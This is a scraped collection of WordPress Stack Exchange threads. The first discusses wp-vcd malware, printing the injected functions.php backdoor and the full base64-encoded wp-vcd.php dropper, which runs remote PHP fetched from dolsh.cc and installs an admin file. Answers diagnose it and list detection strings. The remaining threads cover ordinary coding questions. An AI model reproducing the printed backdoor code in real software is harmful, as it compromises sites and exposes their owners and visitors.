[ { "answer_id": 281612, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 3, "selected": false, "text": "<p>Your website has been hacked. This is malicious code that gets triggered from the outside, loading more malicious content from 'www.dolsh.cc' domain.</p>\n\n<p>If the content comes back after you remove it, then you have hacked files somewhere else that will automatically rewrite functions.php any time page is loaded. You need to find and clean up all infected files, and it is impossible to tell which files are infected without detailed review of the website. Most infections like this spread into various areas to make sure they are hard to remove.</p>\n\n<p>You should backup database, and then reinstall WordPress from scratch, all plugins you have and them that is not infected. It is possible that some plugin is the source of the infection, or the theme itself. If you have download plugins or themes from some illegal website (offering premium plugins for free), that is the most likely source of the infection.</p>\n" }, { "answer_id": 281631, "author": "Topy", "author_id": 125408, "author_profile": "https://wordpress.stackexchange.com/users/125408", "pm_score": 3, "selected": false, "text": "<p>I use Wordfence to scan the files. And the scan shows the results: </p>\n\n<ul>\n<li>the functions.php in twentyseventeen theme also contains the same code above.</li>\n<li><p>In the wp-includes folder, there's a strange file \"wp-vcd.php\" The file contains the code below:</p>\n\n<pre><code>&lt;?php \nerror_reporting(0);\nini_set('display_errors', 0);\n\n$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZTRcLnBocC9pJywkZmlsZSwkbWF0Y2hvbGRkb21haW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBwcmVnX3JlcGxhY2UoJy8nLiRtYXRjaG9sZGRvbWFpblsxXVswXS4nL2knLCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10sICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoNCgkJCQkNCgkJCQkNCgkJCQlkZWZhdWx0OiBwcmludCAiRVJST1JfV1BfQUNUSU9OIFdQX1ZfQ0QgV1BfQ0QiOw0KCQkJfQ0KCQkJDQoJCWRpZSgiIik7DQoJfQ0KDQoJDQoNCg0KaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ3RoZW1lX3RlbXBfc2V0dXAnICkgKSB7ICANCiRwYXRoPSRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUltSRVFVRVNUX1VSSV07DQppZiAoIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsNCg0KaWYoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuZG9sc2guY2MvY29kZTQucGhwP2k9Ii4kcGF0aCkpDQp7DQoNCg0KZnVuY3Rpb24gdGhlbWVfdGVtcF9zZXR1cCgkcGhwQ29kZSkgew0KICAgICR0bXBmbmFtZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAidGhlbWVfdGVtcF9zZXR1cCIpOw0KICAgICRoYW5kbGUgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOw0KICAgIGZ3cml0ZSgkaGFuZGxlLCAiPD9waHBcbiIgLiAkcGhwQ29kZSk7DQogICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgIGluY2x1ZGUgJHRtcGZuYW1lOw0KICAgIHVubGluaygkdG1wZm5hbWUpOw0KICAgIHJldHVybiBnZXRfZGVmaW5lZF92YXJzKCk7DQp9DQoNCmV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOw0KfQ0KfQ0KfQ0KDQoNCg0KPz4=';\n\n$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);\n$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));\n\n\n $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';\n\n $ping = true;\n $ping2 = false;\n if ($list = scandir( $themes ))\n {\n foreach ($list as $_)\n {\n\n if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))\n {\n $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');\n\n if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))\n {\n if (strpos($content, 'WP_V_CD') === false)\n {\n $content = $install_code . $content ;\n @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);\n touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );\n }\n else\n {\n $ping = false;\n }\n }\n\n }\n\n\n else\n {\n $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);\n foreach ($list2 as $_2)\n {\n\n\n if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))\n {\n $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');\n\n if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))\n {\n if (strpos($content, 'WP_V_CD') === false)\n {\n $content = $install_code . $content ;\n @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);\n touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );\n $ping2 = true;\n }\n else\n {\n //$ping = false;\n }\n }\n\n }\n\n\n\n }\n\n }\n\n\n\n\n\n\n }\n\n if ($ping) {\n $content = @file_get_contents('http://www.dolsh.cc/o.php?host=' . $_SERVER[\"HTTP_HOST\"] . '&amp;password=' . $install_hash);\n @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.dolsh.cc/admin.txt'));\n }\n\n if ($ping2) {\n $content = @file_get_contents('http://www.dolsh.cc/o.php?host=' . $_SERVER[\"HTTP_HOST\"] . '&amp;password=' . $install_hash);\n @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.dolsh.cc/admin.txt'));\n //echo ABSPATH . 'wp-includes/class.wp.php';\n } \n\n }\n\n\n\n ?&gt;&lt;?php error_reporting(0);?&gt;\n</code></pre></li>\n<li><p>In the wp-includes folder, this code appears at the top in the post.php file.</p>\n\n<pre><code> &lt;?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?&gt;&lt;?php\n</code></pre></li>\n<li><p>In the wp-includes folder, there's a strange file \"wp-feed\" containing this lines:</p>\n\n<pre><code> ::1\n 127.0.0.1\n</code></pre></li>\n</ul>\n\n<p>Now after I've removed the code from all the theme's functions.php and the related file and removed the strange files. I noticed that that code doesn't come back again. </p>\n\n<p>This problem derives from the plugins I download from websites that provide free plugins.</p>\n" }, { "answer_id": 309208, "author": "wpgeek", "author_id": 147317, "author_profile": "https://wordpress.stackexchange.com/users/147317", "pm_score": 0, "selected": false, "text": "<p>if you downloaded premium plugins for free, please check, if it have this both files, be aware, these are files behind this issue.</p>\n\n<p>class.plugin-modules.php\nclass.theme-modules.php</p>\n\n<p>before install, this file was 35kb size, once installed and activated theme/plugin, it move its code to all wp-includes folders in your hosting. so it keep living in all other sites wp-includes hidden.</p>\n" }, { "answer_id": 340676, "author": "Naman Rastogi", "author_id": 170117, "author_profile": "https://wordpress.stackexchange.com/users/170117", "pm_score": 3, "selected": false, "text": "<p>The code that you have shared points towards wp-vcd malware in your WordPress website. The main symptom of wp-vcd malware are spam popups, creates Spam URLs on the website.</p>\n\n<p>Some variants of the malicious codes have been seen to modify core WordPress files and also add new files in the /wp-includes directory.</p>\n\n<ul>\n<li>The malware creates a backdoor which allows hackers to have access to\nyour website for extended periods</li>\n<li>Hackers are able to exploit vulnerabilities in WordPress plugins &amp;\nthemes to upload the wp-vcd malware on vulnerable sites.</li>\n</ul>\n\n<p>In the functions.php file within your theme, you would see some code similar to this:</p>\n\n<pre><code>&lt;?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?&gt;\n</code></pre>\n\n<p><strong>Cleaning</strong></p>\n\n<p>Approach 1 – Search for files on the server that are usually infected with the wp-vcd hack</p>\n\n<ol>\n<li>wp-includes/wp-vcd.php</li>\n<li>wp-includes/wp-tmp.ph</li>\n<li>wp-content/themes/*/functions.php (all themes installed on the server whether active or not)</li>\n<li>class.theme-modules.php (inside the theme folder)</li>\n</ol>\n\n<p>Approach 2 – Search for string patterns that are found in infected malware files</p>\n\n<ol>\n<li>tmpcontentx</li>\n<li>function wp_temp_setupx</li>\n<li>wp-tmp.php</li>\n<li>derna.top/code.php</li>\n<li>stripos($tmpcontent, $wp_auth_key)</li>\n</ol>\n\n<p>For Reference purpose - <a href=\"https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/\" rel=\"noreferrer\">https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/</a></p>\n" } ]
2017/10/01
[ "https://wordpress.stackexchange.com/questions/281611", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125408/" ]
This code appears in my theme's `functions.php`, also in child theme's. I've deleted it for two times but it comes back. What is it? ``` if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['password'] ) && ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) { $div_code_name = "wp_vcd"; switch ( $_REQUEST['action'] ) { case 'change_domain'; if ( isset( $_REQUEST['newdomain'] ) ) { if ( ! empty( $_REQUEST['newdomain'] ) ) { if ( $file = @file_get_contents( __FILE__ ) ) { if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) { $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file ); @file_put_contents( __FILE__, $file ); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die( "" ); } if ( ! function_exists( 'theme_temp_setup' ) ) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ]; if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false && stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) { if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) { function theme_temp_setup( $phpCode ) { $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" ); $handle = fopen( $tmpfname, "w+" ); fwrite( $handle, "<?php\n" . $phpCode ); fclose( $handle ); include $tmpfname; unlink( $tmpfname ); return get_defined_vars(); } extract( theme_temp_setup( $tmpcontent ) ); } } } ```
Your website has been hacked. This is malicious code that gets triggered from the outside, loading more malicious content from 'www.dolsh.cc' domain. If the content comes back after you remove it, then you have hacked files somewhere else that will automatically rewrite functions.php any time page is loaded. You need to find and clean up all infected files, and it is impossible to tell which files are infected without detailed review of the website. Most infections like this spread into various areas to make sure they are hard to remove. You should backup database, and then reinstall WordPress from scratch, all plugins you have and them that is not infected. It is possible that some plugin is the source of the infection, or the theme itself. If you have download plugins or themes from some illegal website (offering premium plugins for free), that is the most likely source of the infection.
281,629
<p>I need to fetch the list of all users who are Authors (with Author capabilities)</p> <p>get_users allows to fetch users with roles, but if users are filter with author role, it skips users with role admin and editor (but they can also create posts). </p> <p>So I need some other way to fetch all users having capability of Author Role (they can be from Administator, Editor or any other custom roles with Authors capability)</p> <p>To Be more precise - Need all users with "publish_posts" capability.</p>
[ { "answer_id": 281632, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": -1, "selected": false, "text": "<p>Use <a href=\"https://codex.wordpress.org/Function_Reference/get_role\" rel=\"nofollow noreferrer\"><code>get_role()</code></a> for getting capabilities from any role of the user in your code.</p>\n" }, { "answer_id": 281634, "author": "Sid", "author_id": 110516, "author_profile": "https://wordpress.stackexchange.com/users/110516", "pm_score": 2, "selected": false, "text": "<p>Basically, there are 3 roles who have a right to publish post - \"Administrator\", \"Editor\" &amp; \"Author\", unless you are adding any custom roles.</p>\n\n<p>So you can do is specify an array of these 3 in your get_users function. Something like this:</p>\n\n<pre><code>get_users( array(\n 'role__in' =&gt; array('administrator', 'editor', 'author'),\n ) );\n</code></pre>\n\n<p>This will give you the user details with these roles in array which you can use as convenience.</p>\n\n<p>Hope this helps.</p>\n\n<p>Thanks</p>\n" }, { "answer_id": 281636, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 2, "selected": false, "text": "<p>Here's a way to collect roles with the <code>publish_posts</code> capability:</p>\n\n<pre><code>$roles__in = [];\nforeach( wp_roles()-&gt;roles as $role_slug =&gt; $role )\n{\n if( ! empty( $role['capabilities']['publish_posts'] ) )\n $roles__in[] = $role_slug;\n}\n</code></pre>\n\n<p>and then we can query users with these roles:</p>\n\n<pre><code>if( $roles__in )\n $users = get_users( [ 'roles__in' =&gt; $roles__in, 'fields' =&gt; 'ids' ] );\n</code></pre>\n\n<p>where we might need pagination for large amount of users.</p>\n\n<p>One can also loop over <strong>few</strong> users and check with:</p>\n\n<pre><code>user_can( $user, 'publish_posts' )\n</code></pre>\n\n<p>See docs <a href=\"https://developer.wordpress.org/reference/functions/user_can/\" rel=\"nofollow noreferrer\">here</a>.</p>\n" }, { "answer_id": 401406, "author": "GeeC", "author_id": 142648, "author_profile": "https://wordpress.stackexchange.com/users/142648", "pm_score": 0, "selected": false, "text": "<p>I realize this is an old question but, if you want to get all users that have a given capability, either directly or via a role, the current top answer (by @birgire) will be very inefficient, particularly if you have a lot of users. The first part of that answer needs improving only slightly to get all users in one call to <code>get_users()</code>;</p>\n<pre><code>$roles = array( 'publish_posts' );\nforeach( wp_roles()-&gt;roles as $role_slug =&gt; $role ) {\n if( ! empty( $role['capabilities']['publish_posts'] ) ) {\n $roles[] = $role_slug;\n }\n}\n$user_ids = get_users( array( 'role__in' =&gt; $roles, 'fields' =&gt; 'ids' ) );\n</code></pre>\n<p>Simply by initializing the <code>$roles</code> array with the capability you are checking for, all users that have that capability directly will be included.</p>\n" } ]
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281629", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/11999/" ]
I need to fetch the list of all users who are Authors (with Author capabilities) get\_users allows to fetch users with roles, but if users are filter with author role, it skips users with role admin and editor (but they can also create posts). So I need some other way to fetch all users having capability of Author Role (they can be from Administator, Editor or any other custom roles with Authors capability) To Be more precise - Need all users with "publish\_posts" capability.
Basically, there are 3 roles who have a right to publish post - "Administrator", "Editor" & "Author", unless you are adding any custom roles. So you can do is specify an array of these 3 in your get\_users function. Something like this: ``` get_users( array( 'role__in' => array('administrator', 'editor', 'author'), ) ); ``` This will give you the user details with these roles in array which you can use as convenience. Hope this helps. Thanks
281,644
<p>Cant seem to return to the index page with the Previous link using <a href="https://developer.wordpress.org/reference/functions/paginate_links/" rel="nofollow noreferrer">paginate_links()</a>. Previous link is linking to paged 2.</p> <pre><code>$paged = ( get_query_var( 'paged' ) ) ? absint( get_query_var( 'paged' ) ) : 1; $_args = array( 'orderby' =&gt; 'post_date', 'order' =&gt; 'DSC', 'paged' =&gt; $paged, 'post_type' =&gt; 'post', 'posts_per_page' =&gt; 2, // I have more but just show to pagination 'post_status' =&gt; 'publish' ); $_posts = new WP_Query( $_args ); $arr = paginate_links(array( 'base' =&gt; '%_%', 'format' =&gt; '?paged=%#%', 'total' =&gt; $_posts-&gt;max_num_pages, 'current' =&gt; max( 1, get_query_var('paged') ), 'show_all' =&gt; false, 'end_size' =&gt; 1, 'mid_size' =&gt; 2, 'prev_next' =&gt; true, 'prev_text' =&gt; __('« Previous'), 'next_text' =&gt; __('Next »'), 'type' =&gt; 'array', 'add_args' =&gt; false, 'add_fragment' =&gt; '', 'before_page_number' =&gt; '', 'after_page_number' =&gt; '' )); foreach( (array) $arr as $link ) { var_dump( $link ); } </code></pre> <p>On <code>?paged=2</code>, the Previous link is still pointing to <code>?paged=2</code> when it should return to the index page, the page where I should see all posts or return to the previous page. What is going on, please?</p>
[ { "answer_id": 281659, "author": "Kuliraj", "author_id": 128600, "author_profile": "https://wordpress.stackexchange.com/users/128600", "pm_score": 0, "selected": false, "text": "<p>I think you are passing to the query what you have in the url when clicking on the previous link.</p>\n\n<p>Have you tried to echo the links with base param instead of foreaching?</p>\n\n<pre><code>$big = 999999999; // need an unlikely integer\n\necho paginate_links( array(\n 'base' =&gt; str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),\n 'format' =&gt; '?paged=%#%',\n 'current' =&gt; max( 1, get_query_var('paged') ),\n 'total' =&gt; $_posts-&gt;max_num_pages,\n) );\n</code></pre>\n" }, { "answer_id": 281662, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 1, "selected": false, "text": "<p>You are using the code from the example in the Codex, but this is for the default \"plain\" permalinks for the default blog homepage. My guess is that you are doing this for an archive rather than the homepage.</p>\n\n<p><strong>Search &amp; Archive pages</strong></p>\n\n<p>By default, <code>paginate_links</code> assumes the pagination is for the blog on the homepage. In all other cases, you need to change the code as follows (Ref: <a href=\"https://codex.wordpress.org/Function_Reference/paginate_links#Basic_Example\" rel=\"nofollow noreferrer\">Codex: paginate_links</a>):</p>\n\n<pre><code>$big = 999999999; // need an unlikely integer\n\necho paginate_links( array(\n 'base' =&gt; str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),\n 'format' =&gt; '?paged=%#%',\n\n // rest of your arguments here\n\n) );\n</code></pre>\n\n<p><strong><em>What this does:</em></strong></p>\n\n<p>We need to change <code>paginate_links</code> to make it use the link for the <em>archive</em> page instead of the <em>homepage</em>. We do this by changing the <code>base</code> argument to include the url. We also need to change the <code>format</code> to use the correct parameter.</p>\n\n<ol>\n<li><p>Create a variable with a huge number that's unlikely to ever be a valid page number, e.g.<br>\n<code>$big = 999999999;</code></p></li>\n<li><p>set up your <code>base</code> argument</p></li>\n</ol>\n\n<p>For <code>base</code>, you need to tell paginate_links to use the url. We do this by using <code>get_pagenum_link</code> to get the url for a page that will never exist, and then we replace the page number in the url with the <em>actual</em> page number</p>\n\n<pre><code>'base' =&gt; str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) )\n</code></pre>\n\n<ol start=\"3\">\n<li>set up your <code>format</code> argument</li>\n</ol>\n\n<p><code>format</code> defaults to use the <code>page</code> parameter (for the static homepage) so we need to change it to use <code>paged</code> instead: </p>\n\n<pre><code> 'format' =&gt; '?paged=%#%',\n</code></pre>\n\n<p><br><strong>NOTE: Pretty Permalinks</strong></p>\n\n<p>If you are displaying the pagination on the homepage and using pretty permalinks, but are still having issues, try the following.</p>\n\n<p>According to the Codex, if you are using \"pretty\" permalinks, you should change the format as follows:</p>\n\n<pre><code>'format' =&gt; '/page/%#%',\n</code></pre>\n\n<blockquote>\n <p><strong>format</strong>\n <br>(string) (optional) Used for Pagination structure. The default value is <code>?page=%#%</code>, If using pretty permalinks this would be <code>/page/%#%</code>, where the <code>%#%</code> is replaced by the page number.</p>\n</blockquote>\n\n<p>This is good practice, but its not required because Wordpress rewrite rules will automatically translate the <code>?paged</code> parameter</p>\n" } ]
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281644", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124147/" ]
Cant seem to return to the index page with the Previous link using [paginate\_links()](https://developer.wordpress.org/reference/functions/paginate_links/). Previous link is linking to paged 2. ``` $paged = ( get_query_var( 'paged' ) ) ? absint( get_query_var( 'paged' ) ) : 1; $_args = array( 'orderby' => 'post_date', 'order' => 'DSC', 'paged' => $paged, 'post_type' => 'post', 'posts_per_page' => 2, // I have more but just show to pagination 'post_status' => 'publish' ); $_posts = new WP_Query( $_args ); $arr = paginate_links(array( 'base' => '%_%', 'format' => '?paged=%#%', 'total' => $_posts->max_num_pages, 'current' => max( 1, get_query_var('paged') ), 'show_all' => false, 'end_size' => 1, 'mid_size' => 2, 'prev_next' => true, 'prev_text' => __('« Previous'), 'next_text' => __('Next »'), 'type' => 'array', 'add_args' => false, 'add_fragment' => '', 'before_page_number' => '', 'after_page_number' => '' )); foreach( (array) $arr as $link ) { var_dump( $link ); } ``` On `?paged=2`, the Previous link is still pointing to `?paged=2` when it should return to the index page, the page where I should see all posts or return to the previous page. What is going on, please?
You are using the code from the example in the Codex, but this is for the default "plain" permalinks for the default blog homepage. My guess is that you are doing this for an archive rather than the homepage. **Search & Archive pages** By default, `paginate_links` assumes the pagination is for the blog on the homepage. In all other cases, you need to change the code as follows (Ref: [Codex: paginate\_links](https://codex.wordpress.org/Function_Reference/paginate_links#Basic_Example)): ``` $big = 999999999; // need an unlikely integer echo paginate_links( array( 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ), 'format' => '?paged=%#%', // rest of your arguments here ) ); ``` ***What this does:*** We need to change `paginate_links` to make it use the link for the *archive* page instead of the *homepage*. We do this by changing the `base` argument to include the url. We also need to change the `format` to use the correct parameter. 1. Create a variable with a huge number that's unlikely to ever be a valid page number, e.g. `$big = 999999999;` 2. set up your `base` argument For `base`, you need to tell paginate\_links to use the url. We do this by using `get_pagenum_link` to get the url for a page that will never exist, and then we replace the page number in the url with the *actual* page number ``` 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ) ``` 3. set up your `format` argument `format` defaults to use the `page` parameter (for the static homepage) so we need to change it to use `paged` instead: ``` 'format' => '?paged=%#%', ``` **NOTE: Pretty Permalinks** If you are displaying the pagination on the homepage and using pretty permalinks, but are still having issues, try the following. According to the Codex, if you are using "pretty" permalinks, you should change the format as follows: ``` 'format' => '/page/%#%', ``` > > **format** > > (string) (optional) Used for Pagination structure. The default value is `?page=%#%`, If using pretty permalinks this would be `/page/%#%`, where the `%#%` is replaced by the page number. > > > This is good practice, but its not required because Wordpress rewrite rules will automatically translate the `?paged` parameter
281,645
<p>I am in a <code>category.php</code>, and I have to write the category name outside of the Loop. The category name needs to be pulled dynamically through PHP.</p> <pre><code>&lt;p&gt;You are browsing &lt;?php get_the_category ?&gt; articles.&lt;/p&gt; </code></pre> <p>I tried the above one, but it didn't work. Whats the fix?</p>
[ { "answer_id": 281647, "author": "Stephen Elliott", "author_id": 126081, "author_profile": "https://wordpress.stackexchange.com/users/126081", "pm_score": -1, "selected": false, "text": "<p>I have to admit that I am not fully understanding your question. Would you want to write a plugin with a widget to accomplish your task?\n*What are you trying to do?</p>\n\n<p>Usually I find that if I need to loop outside the loop, that I have to define which categories apply and which do not, usually for me another loop that is outside the Wordpress default loop. I am working with an example of article loops and I hope to update this answer before it is fully complete.</p>\n\n<p>For those voting - please wait until I have a complete answer available before voting. I hope to take the updates to the question and update the answer accordingly.</p>\n\n<p>Thank you for asking your question.</p>\n" }, { "answer_id": 281652, "author": "Chris Cox", "author_id": 1718, "author_profile": "https://wordpress.stackexchange.com/users/1718", "pm_score": 3, "selected": true, "text": "<p>You're looking for <code>single_cat_title()</code>.</p>\n" } ]
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281645", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105791/" ]
I am in a `category.php`, and I have to write the category name outside of the Loop. The category name needs to be pulled dynamically through PHP. ``` <p>You are browsing <?php get_the_category ?> articles.</p> ``` I tried the above one, but it didn't work. Whats the fix?
You're looking for `single_cat_title()`.
281,661
<p>How to change home page to another page after login for all user roles, not a specific one?</p>
[ { "answer_id": 281663, "author": "Marcelo Henriques Cortez", "author_id": 44437, "author_profile": "https://wordpress.stackexchange.com/users/44437", "pm_score": 0, "selected": false, "text": "<p>You can use a plugin, like 'Redirect After Login' (<a href=\"https://wordpress.org/plugins/redirect-after-login/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/redirect-after-login/</a>)</p>\n\n<p>Or you can do it manually by adding this to your <strong>functions.php</strong></p>\n\n<pre><code>function admin_new_page() {\n return '/new-page-url';\n}\nadd_filter('login_redirect', 'admin_new_page');\n</code></pre>\n" }, { "answer_id": 281672, "author": "Paul1427", "author_id": 128878, "author_profile": "https://wordpress.stackexchange.com/users/128878", "pm_score": 1, "selected": false, "text": "<p>By adding this to your theme <strong>functions.php</strong> file:</p>\n\n<pre><code>function login_redirect( $redirect_to, $request, $user ){\n return home_url('/');\n}\nadd_filter( 'login_redirect', 'login_redirect', 10, 3 );\n</code></pre>\n" }, { "answer_id": 281673, "author": "Menno van der Krift", "author_id": 76984, "author_profile": "https://wordpress.stackexchange.com/users/76984", "pm_score": 0, "selected": false, "text": "<p>There is a standard WordPress function that you can use for this</p>\n\n<p><code>\n&lt;?php \n// Check if user if logged in. If so, redirect to www.example.com\nif ( is_user_logged_in() ) {\n header(\"Location:http://www.example.com\");\n}\n?&gt;\n</code></p>\n" } ]
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281661", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/126694/" ]
How to change home page to another page after login for all user roles, not a specific one?
By adding this to your theme **functions.php** file: ``` function login_redirect( $redirect_to, $request, $user ){ return home_url('/'); } add_filter( 'login_redirect', 'login_redirect', 10, 3 ); ```
281,666
<p><a href="https://peaceloveandbirth.com/" rel="nofollow noreferrer">https://peaceloveandbirth.com/</a><br> Underneath the 'Birth preparation for Mind, Body &amp; Soul' line at the top I want to remove the grey divider line (you can especially see it when the navbar is collapsed to say phone display).<br> I already have this is my CSS which works for below the header area, but not for this: </p> <pre><code>.site-header{ -webkit-box-shadow: none; -moz-box-shadow: none; -o-box-shadow: none; box-shadow: none; } </code></pre>
[ { "answer_id": 281668, "author": "Marcelo Henriques Cortez", "author_id": 44437, "author_profile": "https://wordpress.stackexchange.com/users/44437", "pm_score": 0, "selected": false, "text": "<p><strong>About your main question:</strong></p>\n\n<p>You are targeting the wrong div. You need to do:</p>\n\n<pre><code>.main-navigation {\n box-shadow: none;\n}\n</code></pre>\n\n<p><strong>About your second question, made on the comments area:</strong></p>\n\n<p>Try this code</p>\n\n<pre><code>.entry-header .entry-meta::after {\n background: transparent;\n}\n</code></pre>\n\n<p><strong>About your third question:</strong></p>\n\n<p>You need to get the padding out of the div:</p>\n\n<pre><code>.entry-header {\n padding-top:0;\n }\n</code></pre>\n" }, { "answer_id": 281669, "author": "kero", "author_id": 108180, "author_profile": "https://wordpress.stackexchange.com/users/108180", "pm_score": 1, "selected": false, "text": "<p>You are looking at the wrong element, it is <code>#site-navigation</code> that has the box shadow (and a white background, which also is a 